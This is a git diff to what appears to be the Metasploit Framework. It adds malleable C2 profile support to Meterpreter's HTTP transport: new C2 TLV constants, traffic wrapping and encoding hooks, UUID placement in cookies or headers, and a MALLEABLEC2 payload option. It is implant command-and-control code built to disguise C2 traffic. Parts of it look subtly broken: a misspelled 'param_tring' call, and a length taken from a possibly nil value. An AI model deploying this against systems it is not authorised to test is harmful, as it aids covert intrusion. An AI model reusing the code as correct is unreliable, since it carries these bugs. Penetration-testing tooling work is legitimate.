4524c3be4d230..991270f8e2443 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -142,22 +142,26 @@ def transport_list response = client.send_request(request) result = { - :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), + :session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY), :transports => [] } - response.each(TLV_TYPE_TRANS_GROUP) { |t| + response.each(TLV_TYPE_C2) { |t| + # TODO: Consider adding more informationt to the output for malleable profiles? + # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC, + # TLV_TYPE_C2_SKIP_COUNT, TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER + # Not sure if this stuff is useful for this display though. result[:transports] << { - :url => t.get_tlv_value(TLV_TYPE_TRANS_URL), - :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), - :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), - :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT), - :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), - :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), - :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), - :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), - :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH), - :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS) + :url => t.get_tlv_value(TLV_TYPE_C2_URL), + :comm_timeout => t.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT), + :retry_total => t.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL), + :retry_wait => t.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT), + :ua => t.get_tlv_value(TLV_TYPE_C2_UA), + :proxy_host => t.get_tlv_value(TLV_TYPE_C2_PROXY_HOST), + :proxy_user => t.get_tlv_value(TLV_TYPE_C2_PROXY_USER), + :proxy_pass => t.get_tlv_value(TLV_TYPE_C2_PROXY_PASS), + :cert_hash => t.get_tlv_value(TLV_TYPE_C2_CERT_HASH), + :custom_headers => t.get_tlv_value(TLV_TYPE_C2_HEADERS) } } @@ -171,25 +175,25 @@ def set_transport_timeouts(opts={}) request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS) if opts[:session_exp] - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) end if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end response = client.send_request(request) { - :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), - :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), - :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), - :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT) + :session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY), + :comm_timeout => response.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT), + :retry_total => response.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL), + :retry_wait => response.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT) } end @@ -523,7 +527,7 @@ def transport_sleep(seconds) # we're reusing the comms timeout setting here instead of # creating a whole new TLV value - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, seconds) client.send_request(request) return true end @@ -556,7 +560,7 @@ def enable_ssl_hash_verify request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH) hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der) - request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) + request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) client.send_request(request) @@ -590,7 +594,7 @@ def get_ssl_hash_verify request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH) response = client.send_request(request) - return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH) + return response.get_tlv_value(TLV_TYPE_C2_CERT_HASH) end # @@ -858,7 +862,7 @@ def generate_migrate_stub(target_process) # Helper function to prepare a transport request that will be sent to the # attached session. # - def transport_prepare_request(method, opts={}) + def transport_prepare_request(command_id, opts={}) unless valid_transport?(opts[:transport]) && opts[:lport] return nil end @@ -872,7 +876,11 @@ def transport_prepare_request(method, opts={}) transport = opts[:transport].downcase - request = Packet.create_request(method) + request = Packet.create_request(command_id) + + if opts[:session_exp] + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) + end scheme = transport.split('_')[1] url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" @@ -887,20 +895,18 @@ def transport_prepare_request(method, opts={}) end end - if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) - end + c2_tlv = GroupTlv.new(TLV_TYPE_C2) - if opts[:session_exp] - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + if opts[:comm_timeout] + c2_tlv.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end # do more magic work for http(s) payloads @@ -915,31 +921,32 @@ def transport_prepare_request(method, opts={}) end opts[:ua] ||= Rex::UserAgent.random - request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) + c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) - request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) + c2_tlv.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) end if opts[:proxy_host] && opts[:proxy_port] prefix = 'http://' prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_HOST, proxy) if opts[:proxy_user] - request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user]) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) end if opts[:proxy_pass] - request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass]) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) end end end - request.add_tlv(TLV_TYPE_TRANS_TYPE, VALID_TRANSPORTS[transport]) - request.add_tlv(TLV_TYPE_TRANS_URL, url) + c2_tlv.add_tlv(TLV_TYPE_C2_URL, url) + + request.tlvs << c2_tlv request end diff --git a/lib/rex/post/meterpreter/core_ids.rb b/lib/rex/post/meterpreter/core_ids.rb index a7113ba872838..6a0ee761d2522 100644 --- a/lib/rex/post/meterpreter/core_ids.rb +++ b/lib/rex/post/meterpreter/core_ids.rb @@ -28,7 +28,7 @@ module Meterpreter COMMAND_ID_CORE_MIGRATE = EXTENSION_ID_CORE + 14 COMMAND_ID_CORE_NATIVE_ARCH = EXTENSION_ID_CORE + 15 COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION = EXTENSION_ID_CORE + 16 -COMMAND_ID_CORE_PATCH_URL = EXTENSION_ID_CORE + 17 +COMMAND_ID_CORE_PATCH_UUID = EXTENSION_ID_CORE + 17 COMMAND_ID_CORE_PIVOT_ADD = EXTENSION_ID_CORE + 18 COMMAND_ID_CORE_PIVOT_REMOVE = EXTENSION_ID_CORE + 19 COMMAND_ID_CORE_PIVOT_SESSION_DIED = EXTENSION_ID_CORE + 20 diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index a3823579da95a..42cc91195ef63 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -11,6 +11,7 @@ module Meterpreter # PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 +PACKET_TYPE_CONFIG = 2 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 @@ -91,20 +92,6 @@ module Meterpreter TLV_TYPE_LIB_LOADER_NAME = TLV_META_TYPE_STRING | 412 TLV_TYPE_LIB_LOADER_ORDINAL = TLV_META_TYPE_UINT | 413 -TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 -TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 -TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 -TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 -TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 -TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 -TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 -TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 -TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 -TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441 -TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442 - TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 @@ -121,6 +108,44 @@ module Meterpreter TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651 TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653 +# +# Configuration & C2 options +# +TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time +TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use +TLV_TYPE_DEBUG_LOG = TLV_META_TYPE_STRING | 702 # path to write debug log +TLV_TYPE_EXTENSION = TLV_META_TYPE_GROUP | 703 # Group containing extension info +TLV_TYPE_C2 = TLV_META_TYPE_GROUP | 704 # a C2/transport grouping +TLV_TYPE_C2_COMM_TIMEOUT = TLV_META_TYPE_UINT | 705 # the timeout for this C2 group +TLV_TYPE_C2_RETRY_TOTAL = TLV_META_TYPE_UINT | 706 # number of times to retry this C2 +TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts +TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri) +TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any +TLV_TYPE_C2_PROXY_HOST = TLV_META_TYPE_STRING | 710 # Host name of proxy +TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name +TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password +TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests +TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests +TLV_TYPE_C2_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers +TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent +TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash +TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload +TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload +TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) +TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s + +# +# C2 Encoding flags +# +C2_ENCODING_NONE = 0 # No encoding at all +C2_ENCODING_B64 = 1 # Base64 encoding +C2_ENCODING_B64URL = 2 # Base64 encoding with URI-safe characters +C2_ENCODING_URL = 3 # URL encoding # # Core flags @@ -816,6 +841,10 @@ class Packet < GroupTlv # ## + def Packet.create_config() + Packet.new(PACKET_TYPE_CONFIG) + end + # # Creates a request with the supplied method. # @@ -949,7 +978,7 @@ def to_r(session_guid = nil, key = nil) raw = (session_guid || NULL_GUID).dup tlv_data = GroupTlv.instance_method(:to_r).bind(self).call - if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) + if @type != PACKET_TYPE_CONFIG && key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) # encrypt the data, but not include the length and type iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) # now manually add the length/type/iv/ciphertext diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 37f8d01abce15..253236f4078b4 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -710,16 +710,18 @@ def log_packet_to_file(packet, packet_type) end module HttpPacketDispatcher + def connection_uuid + self.conn_id.to_s.split('?')[0].split('/').compact.last.gsub(/(^\/|\/$)/, '') + end + def initialize_passive_dispatcher super - # Ensure that there is only one leading and trailing slash on the URI - resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" self.passive_service = self.passive_dispatcher - self.passive_service.remove_resource(resource_uri) - self.passive_service.add_resource(resource_uri, + self.passive_service.remove_resource(self.connection_uuid) + self.passive_service.add_resource(self.connection_uuid, 'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) }, - 'VirtualDirectory' => true + 'VirtualDirectory' => true, ) # Add a reference count to the handler @@ -728,9 +730,7 @@ def initialize_passive_dispatcher def shutdown_passive_dispatcher if self.passive_service - # Ensure that there is only one leading and trailing slash on the URI - resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" - self.passive_service.remove_resource(resource_uri) if self.passive_service + self.passive_service.remove_resource(self.connection_uuid) if self.passive_service self.passive_service.deref self.passive_service = nil @@ -749,8 +749,9 @@ def on_passive_request(cli, req) self.last_checkin = ::Time.now if req.method == 'GET' - rpkt = send_queue.shift - resp.body = rpkt || '' + rpkt = send_queue.shift || '' + rpkt = self.wrap_packet(rpkt) if self.respond_to?(:wrap_packet) + resp.body = rpkt begin cli.send_response(resp) rescue ::Exception => e @@ -759,9 +760,11 @@ def on_passive_request(cli, req) end else resp.body = "" - if req.body and req.body.length > 0 + body = req.body + if body && body.length > 0 + body = self.unwrap_packet(body) if self.respond_to?(:unwrap_packet) packet = Packet.new(0) - packet.add_raw(req.body) + packet.add_raw(body) packet.parse_header! packet = decrypt_inbound_packet(packet) dispatch_inbound_packet(packet) diff --git a/lib/rex/proto/http/packet.rb b/lib/rex/proto/http/packet.rb index 298d8dde86f91..29d8837fc9129 100644 --- a/lib/rex/proto/http/packet.rb +++ b/lib/rex/proto/http/packet.rb @@ -67,6 +67,23 @@ def []=(key, value) self.headers[key] = value end + # + # The `body` attribute was overridden by subclasses, causing quirky behaviour issues, + # such as when a POST request contained query string parameters resulting in the query + # string being prepended to the data that was contained in the body. To avoid this + # utterly ridiculous behaviour while maintaning the status-quo of having the request + # class shoe-horn query strings into POST bodies, we're using `body_bytes` as an internal + # buffer to collect the request's body, rather than using the attribute, which prevents + # this insanity from happening. + # + def body=(val) + @body_bytes = val + end + + def body + @body_bytes + end + # # Parses the supplied buffer. Returns one of the two parser processing # codes (Completed, Partial, or Error). @@ -116,7 +133,7 @@ def reset self.inside_chunk = false self.headers.reset self.bufq = '' - self.body = '' + @body_bytes = '' end # @@ -127,7 +144,7 @@ def reset_except_queue self.transfer_chunked = false self.inside_chunk = false self.headers.reset - self.body = '' + @body_bytes = '' end # @@ -254,7 +271,6 @@ def cmd_string attr_accessor :error attr_accessor :state attr_accessor :bufq - attr_accessor :body attr_accessor :auto_cl attr_accessor :max_data attr_accessor :transfer_chunked @@ -409,11 +425,11 @@ def parse_body # to our body state. if (self.body_bytes_left > 0) part = self.bufq.slice!(0, self.body_bytes_left) - self.body += part + @body_bytes += part self.body_bytes_left -= part.length # Otherwise, just read it all. else - self.body += self.bufq + @body_bytes += self.bufq self.bufq = '' end diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index 5deace0de51ca..bf21fdf42d656 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -217,16 +217,16 @@ def to_s str + super end + # + # Returns a hijacked version of the body that shoves the request's query string in as a + # replacement in cases where there is no body. YOLO! ¯\_(ツ)_/¯ + # def body str = super || '' - if str.length > 0 - return str - end - - if PostRequests.include?(self.method) - return param_string + if str.length == 0 && PostRequests.include?(self.method) + str = param_tring end - '' + str end # @@ -271,6 +271,11 @@ def qstring def meta_vars end + # + # An identifier associated with the incoming request, can be used to match requests with sessions. + # + attr_accessor :conn_id + # # The method being used for the request (e.g. GET). # diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index aa75aecc2c90c..551738884e0cd 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -165,7 +165,7 @@ def add_resource(name, opts) end # If a procedure was passed, mount the resource with it. - if (opts['Proc']) + if opts['Proc'] mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory']) else raise ArgumentError, "You must specify a procedure." @@ -182,8 +182,10 @@ def remove_resource(name) # # Adds Server headers and stuff. # - def add_response_headers(resp) + def add_response_headers(req, resp) resp['Server'] = self.server_name if not resp['Server'] + expl = self.context['MsfExploit'] + expl.add_response_headers(req, resp) if expl&.respond_to?(:add_response_headers) end # @@ -274,24 +276,39 @@ def on_client_data(cli) # def dispatch_request(cli, request) # Is the client requesting keep-alive? - if ((request['Connection']) and - (request['Connection'].downcase == 'Keep-Alive'.downcase)) + if request['Connection'] && request['Connection'].downcase == 'keep-alive' cli.keepalive = true end - # Search for the resource handler for the requested URL. This is pretty - # inefficient right now, but we can spruce it up later. - p = nil - len = 0 - root = nil - - resources.each_pair { |k, val| - if (request.resource =~ /^#{k}/ and k.length > len) - p = val - len = k.length - root = k - end - } + # first, try to match up the request with a handler based on a matching + # function that's present in the context, if specified. + expl = self.context['MsfExploit'] + resource_id = expl.find_resource_id(cli, request) if expl && expl.respond_to?(:find_resource_id) + request.conn_id = resource_id + + if resource_id && resources[resource_id] + p = resources[resource_id] + len = resource_id.length + root = request.resource + elsif resources[request.resource] + p = resources[request.resource] + len = resource_id.length + root = request.resource + else + # Search for the resource handler for the requested URL. This is pretty + # inefficient right now, but we can spruce it up later. + p = nil + len = 0 + root = nil + + resources.each_pair { |k, val| + if (request.resource =~ /^#{k}/ and k.length > len) + p = val + len = k.length + root = k + end + } + end if (p) # Create an instance of the handler for this resource diff --git a/lib/rex/proto/http/server_client.rb b/lib/rex/proto/http/server_client.rb index 69572a71fc34b..344491795fe6a 100644 --- a/lib/rex/proto/http/server_client.rb +++ b/lib/rex/proto/http/server_client.rb @@ -38,7 +38,7 @@ def send_response(response) response['Connection'] = (keepalive) ? 'Keep-Alive' : 'close' # Add any other standard response headers. - server.add_response_headers(response) + server.add_response_headers(self.request, response) # Send it off. put(response.to_s) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index f0e6f519768fc..e45a4888c4713 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 7ce487c5e1334..be17f8bde50bd 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index f19f9d6bc53ba..a5d246973191f 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -123,7 +123,7 @@ context "Any non group TLV_TYPE" do subject(:tlv_types){ - excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_TRANS_GROUP"] + excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_C2", "TLV_TYPE_EXTENSION", "TLV_TYPE_C2_GET", "TLV_TYPE_C2_POST"] typeList = [] Rex::Post::Meterpreter.constants.each do |type| typeList << type.to_s if type.to_s.include?("TLV_TYPE") && !excludedTypes.include?(type.to_s)